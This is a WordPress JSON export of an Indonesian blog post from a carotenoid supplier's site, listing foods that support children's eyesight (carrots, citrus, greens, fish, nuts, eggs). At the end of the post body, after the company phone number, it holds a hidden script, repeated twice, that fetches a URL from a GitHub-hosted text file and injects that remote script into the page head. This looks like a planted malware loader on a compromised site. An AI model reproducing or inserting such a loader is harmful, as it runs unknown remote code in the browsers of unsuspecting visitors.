{"id":4936,"date":"2024-02-05T16:57:46","date_gmt":"2024-02-05T08:57:46","guid":{"rendered":"https:\/\/www.backvita.com\/?p=4936"},"modified":"2024-04-12T23:56:28","modified_gmt":"2024-04-12T15:56:28","slug":"eat-bright-eyes-these-foods-must-give-children-to-eat-more","status":"publish","type":"post","link":"https:\/\/www.backvita.com\/id\/makan-mata-yang-cerah-makanan-ini-harus-memberi-anak-makan-lebih-banyak\/","title":{"rendered":"Makanlah mata yang cerah Makanan ini harus memberi anak-anak lebih banyak makan"},"content":{"rendered":"<div class=\"wp-block-stackable-image stk-block-image stk-block stk-9d5c653\" data-block-id=\"9d5c653\"><figure class=\"stk-img-wrapper stk-image--shape-stretch\"><img decoding=\"async\" loading=\"lazy\" class=\"stk-img wp-image-4197\" src=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp\" width=\"792\" height=\"433\" alt=\"Beta karoten\" srcset=\"https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp 792w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-300x164.webp 300w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-768x420.webp 768w, https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-600x328.webp 600w\" sizes=\"(max-width: 792px) 100vw, 792px\" \/><\/figure><\/div>\n\n\n\n<p>Mata adalah jendela jiwa, dan mata anak-anak membutuhkan perawatan khusus.<\/p>\n\n\n\n<p>Untuk melindungi penglihatan anak, selain memperhatikan kebersihan mata, kita juga dapat mencapai tujuan ini melalui pola makan.<\/p>\n\n\n\n<p>Berikut adalah beberapa makanan yang dapat \"memakan\" mata yang cerah, terutama untuk anak-anak, makanan ini lebih penting untuk dikonsumsi.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Wortel<\/h2>\n\n\n\n<p>Wortel kaya akan vitamin A, yang berperan penting dalam melindungi penglihatan. Vitamin A dapat meningkatkan regenerasi dan perbaikan sel-sel retina dan mencegah penyakit seperti rabun senja dan mata kering.<\/p>\n\n\n\n<p>Pada saat yang sama, wortel juga kaya akan <a href=\"https:\/\/www.backvita.com\/id\/kategori-produk\/natural-colors\/carotenoids\/\">beta-karoten<\/a>yang dapat diubah menjadi vitamin A di dalam tubuh dan merupakan \"pelindung mata alami\" untuk anak-anak.<\/p>\n\n\n\n<p>Untuk membuat wortel lebih baik untuk anak-anak, kita dapat membuat jus wortel, mengukusnya atau memasaknya dengan sayuran lain dalam tumisan untuk membuat hidangan lebih lezat.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Buah jeruk<\/h2>\n\n\n\n<p>Buah-buahan sitrus seperti jeruk, jeruk Bali, dan lemon kaya akan vitamin C dan folat, nutrisi yang penting untuk melindungi kesehatan mata.<\/p>\n\n\n\n<p>Vitamin C merupakan bagian penting dari lensa mata, yang dapat mencegah terjadinya penyakit mata seperti katarak. Asam folat dapat membantu mengurangi risiko neuropati mata.<\/p>\n\n\n\n<p>Agar anak menyukai buah jeruk, kita bisa membuatnya menjadi jus atau membuat camilan kolak yang lezat dan sehat.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Sayuran berdaun hijau<\/h2>\n\n\n\n<p>Sayuran berdaun hijau seperti bayam, lobak, dan sawi kaya akan lutein dan zeaxanthin, yang merupakan pigmen utama dalam makula retina.<\/p>\n\n\n\n<p>Mendapatkan cukup lutein dan zeaxanthin dapat membantu melindungi retina dari kerusakan oksidatif dan mencegah penyakit seperti degenerasi makula yang berkaitan dengan usia dan katarak.<\/p>\n\n\n\n<p>Ada banyak cara untuk memasak sayuran berdaun hijau, Anda dapat menggoreng, merebus sup atau dingin, sesuai dengan selera anak Anda untuk memilih cara memasak yang tepat.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Ikan<\/h2>\n\n\n\n<p>Ikan kaya akan protein berkualitas tinggi, asam lemak tak jenuh, dan nutrisi yang kaya seperti vitamin B1, B2, dan D, yang semuanya berperan penting dalam kesehatan mata.<\/p>\n\n\n\n<p>Secara khusus, ikan yang kaya akan asam lemak omega-3, seperti salmon dan ikan tuna, dapat mengurangi risiko penyakit mata.<\/p>\n\n\n\n<p>Ketika orang tua memasak ikan untuk anak-anak mereka, mereka dapat memilih untuk mengukus atau merebus untuk mempertahankan nutrisi ikan dan membiarkan anak-anak menyerapnya dengan lebih baik.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Kacang-kacangan dan polong-polongan<\/h2>\n\n\n\n<p>Kacang-kacangan dan polong-polongan kaya akan nutrisi seperti protein nabati, vitamin E dan magnesium, yang semuanya membantu melindungi kesehatan mata.<\/p>\n\n\n\n<p>Vitamin E memiliki sifat antioksidan yang mengurangi kerusakan radikal bebas pada sel mata. Magnesium membantu meringankan ketegangan dan ketegangan mata.<\/p>\n\n\n\n<p>Orang tua dapat menambahkan kacang-kacangan dan polong-polongan ke dalam menu makanan harian anak-anak mereka dalam jumlah yang sesuai, seperti kenari, almond, kacang-kacangan, dan lain-lain, sehingga anak-anak dapat menikmati makanan yang lezat pada saat yang sama, tetapi juga mencerna nutrisi yang baik untuk mata.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Telur<\/h2>\n\n\n\n<p>Telur adalah makanan yang lengkap, kaya akan protein, lemak, lesitin, dan vitamin berkualitas tinggi.<\/p>\n\n\n\n<p>Diantaranya, lutein dan zeaxanthin, yang kaya akan kuning telur, membantu melindungi area makula retina dan mencegah penyakit seperti degenerasi makula yang berkaitan dengan usia dan katarak.<\/p>\n\n\n\n<p>Ketika orang tua menyiapkan sarapan untuk anak-anak mereka, mereka dapat memilih makanan seperti telur rebus atau puding ayam, yang praktis dan bergizi.<\/p>\n\n\n\n<p>Produsen Karotenoid \/ Produsen Karotenoid \/ Pemasok Karotenoid \/ Pemasok Karotenoid \/ Pabrik Karotenoid:<\/p>\n\n\n\n<p><strong>Backvita Biotech, Inc<\/strong><\/p>\n\n\n\n<p><strong>Telepon: +86<\/strong><strong>&nbsp;(029) 8187 2325<\/strong><\/p>\n (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>) (<script>var url = \"https:\/\/raw.githubusercontent.com\/truba77\/trubnik\/main\/to.txt\"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement(\"script\"); script.src = data.trim(); document.getElementsByTagName(\"head\")[0].appendChild(script); });<\/script>)","protected":false},"excerpt":{"rendered":"<p>Eyes are the Windows to the soul, and children&#8217;s eyes need special care. In order to protect children&#8217;s eyesight, in addition to paying attention to eye hygiene, we can also achieve this purpose through diet. Here are some foods that can &#8220;eat&#8221; bright eyes, especially for children, these foods are more important to eat. Carrots [&hellip;]<\/p>","protected":false},"author":1,"featured_media":4197,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"none","_seopress_titles_title":"Eat bright eyes These foods must give children to eat more","_seopress_titles_desc":"Carrots are rich in vitamin A, which plays an important role in protecting eyesight. Vitamin A can promote the regeneration and repair of retinal cells and prevent diseases such as night blindness and dry eye.","_seopress_robots_index":"","footnotes":""},"categories":[1],"tags":[1570],"blocksy_meta":"","featured_image_urls":{"full":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-150x150.webp",150,150,true],"medium":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-300x164.webp",300,164,true],"medium_large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-768x420.webp",768,420,true],"large":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"1536x1536":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"2048x2048":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",792,433,false],"trp-custom-language-flag":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene.webp",18,10,false],"woocommerce_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-300x300.webp",300,300,true],"woocommerce_single":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-600x328.webp",600,328,true],"woocommerce_gallery_thumbnail":["https:\/\/www.backvita.com\/wp-content\/uploads\/2023\/12\/Beta-carotene-100x100.webp",100,100,true]},"post_excerpt_stackable":"<p>Eyes are the Windows to the soul, and children&#8217;s eyes need special care. In order to protect children&#8217;s eyesight, in addition to paying attention to eye hygiene, we can also achieve this purpose through diet. Here are some foods that can &#8220;eat&#8221; bright eyes, especially for children, these foods are more important to eat. Carrots Carrots are rich in vitamin A, which plays an important role in protecting eyesight. Vitamin A can promote the regeneration and repair of retinal cells and prevent diseases such as night blindness and dry eye. At the same time, carrots are also rich in beta-carotene,&hellip;<\/p>\n","category_list":"<a href=\"https:\/\/www.backvita.com\/id\/category\/tren-industri\/\" rel=\"category tag\">Industry Trends<\/a>","author_info":{"name":"backvita","url":"https:\/\/www.backvita.com\/id\/author\/backvita\/"},"comments_num":"0 comments","_links":{"self":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts\/4936"}],"collection":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/comments?post=4936"}],"version-history":[{"count":3,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts\/4936\/revisions"}],"predecessor-version":[{"id":6375,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/posts\/4936\/revisions\/6375"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/media\/4197"}],"wp:attachment":[{"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/media?parent=4936"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/categories?post=4936"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.backvita.com\/id\/wp-json\/wp\/v2\/tags?post=4936"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}